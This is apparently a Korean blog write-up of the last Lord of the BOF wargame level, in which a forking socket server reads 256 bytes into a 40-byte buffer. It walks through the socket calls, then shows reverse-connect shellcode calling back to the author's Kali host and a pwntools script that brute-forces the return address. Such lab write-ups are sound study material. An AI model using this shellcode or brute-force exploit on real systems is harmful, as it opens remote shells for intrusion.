[LOB] xavius
이제 드디어 마지막 문제이다!!
📝 문제의 코드
/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
코드를 확인해 보면, socket을 이용한다.
✔ 클라이언트 :
sockaddr_in 구조체 세팅 → socket()함수 → connect()함수
✔ 서버 :
sockaddr_in 구조체 세팅 → socket()함수 → bind()함수 → listen()함수 → aceept()함수
1. socket 구조체 설정
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
2. 소켓 생성 (socket)
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666); //접속 포트 : 6666
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
3. 생성한 소켓을 접속받는 용도 지정 (bind)
bind 함수는 생성된 소켓에 지역 IP주소와 포트번호를 연결시켜 서버용 소켓으로 만드는 역할을 수행
int bind(SOCKET s, const struct sockaddr *name, int namelen);
- name : 자기 자신의 sockaddr 구조체
- namelen : sockaddr구조체 크기
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
4. 접속이 들어올 때까지 대기 (listen)
int listen(SOCKET s, int backlog);
- s : 서버용 소켓
- backlog : 최대 대기자 수.
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
5. 자신에게 접속한 유저의 sockaddr_in 얻기
SOCKET accept(SOCKET s, struct sockaddr *addr, int *addrlen);
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
결국 문제의 코드는 LOB 서버가 socket을 만들어주고, 문제를 해결하기 위해서는 클라이언트 socket을 만들어 문제를 해결해야 할거 같다.
문제에서 알 수 있는 사항은 해당 IP 서버주소에 6666포트로 통신을 하면 될 거 같다.
다른 곳에서 nc를 통해서 접속을 시도해 보았더니 잘된다.
이제 문제에서 버퍼오버 플로우가 어디서 일어나고 어디서 문제를 풀어야 하는지 확인해 보아야겠다.
✨ 풀이
char buffer[40]; 로 버퍼의 크기가 40bytes이고,
recv(client_fd, buffer, 256, 0); 여기서 메시지를 받는 버퍼의 크기가 256bytes이기 때문에
👉 입력값에 대한 길이 검증이 제대로 되지 않아 이곳에서 버퍼오버플로우가 일어난다.
앞의 문제들처럼 따로 필터링을 거는 것이 없기 때문에 버퍼에 쉘코드를 넣고, RET를 해당 주소로 바꿔주면 될 거 같다.
우선 buffer와 ret 사이에 dummy값이 없다는 것 을 확인할 수 있다.
1. 소켓 연결을 해야 한다.
👉 문제의 힌트처럼 remote BOF를 시도해야 한다.
👉 소켓 프로그래밍 대신 pwntools와 nc 사용
근데!! 여기에 문제가 있다.
2. 원격으로 쉘을 얻기 위해서 Reverse connect 을 이용해야 한다.
Reverse connect란?
기존의 공격들은 외부에서 내부로 연결을 시도하기 때문에 접근 시에 방화벽 등 정보보호장비들에 의해서 연결이 어렵지만, reverse connect는 내부에서 외부로 나가는 아웃바운드 정책의 경우 상대적으로 허술한 점을 이용하여 내부에서 외부로 접속을 하도록 하는 공격.
👉 reverse shell 필요 : peda-gdb 이용
reverse connect 되는 서버로 kali를 이용하기 때문에 kali라고 명명.
IP : 192.168.239.134(kali)
PORT : 6667
gdb-peda$ shellcode generate x86/linux connect 6667 192.168.239.134
쉘코드를 마들고, nc를 통해서 해당 포트로 LOB서버에서 kali로 접속해서 쉘을 생성 대기하기
3. RET 주소 확인 할 수가 없다.
원격 bof를 할 때 버퍼의 위치를 알기 어렵기 때문에
👉 brute-force attack 필요
👉 버퍼의 위치는 0xbfff0000~0xbfffffff 사이의 주소
위의 정보를 가지고 pwntools을 작성했다.
from pwn import *
import base64
nop=b'\x90'
shellcode=b"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\xef\x83\x66\x68\x1a\x0b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
for ret in range(0xbffff000, 0xbfffffff):
p = remote("192.168.239.134", 6666)
payload=nop*44+p32(ret)+nop*100+shellcode
p.send(payload)
print(hex(ret))
print(p.recvall())
p.close()
이제 시간을 가지고 연결이 될 때까지 기다리면 된다.
이제 버퍼주소가 일치하게 되면 성공하게 된다!
📕 Reference :
https://tapito.tistory.com/382